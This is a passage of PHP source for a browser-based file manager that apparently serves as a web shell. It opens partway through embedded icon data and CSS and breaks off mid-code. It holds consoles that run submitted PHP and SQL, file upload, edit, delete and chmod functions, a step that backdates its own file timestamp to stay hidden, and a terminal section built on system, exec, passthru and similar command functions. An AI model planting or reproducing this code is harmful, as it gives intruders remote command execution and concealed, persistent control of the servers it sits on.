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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

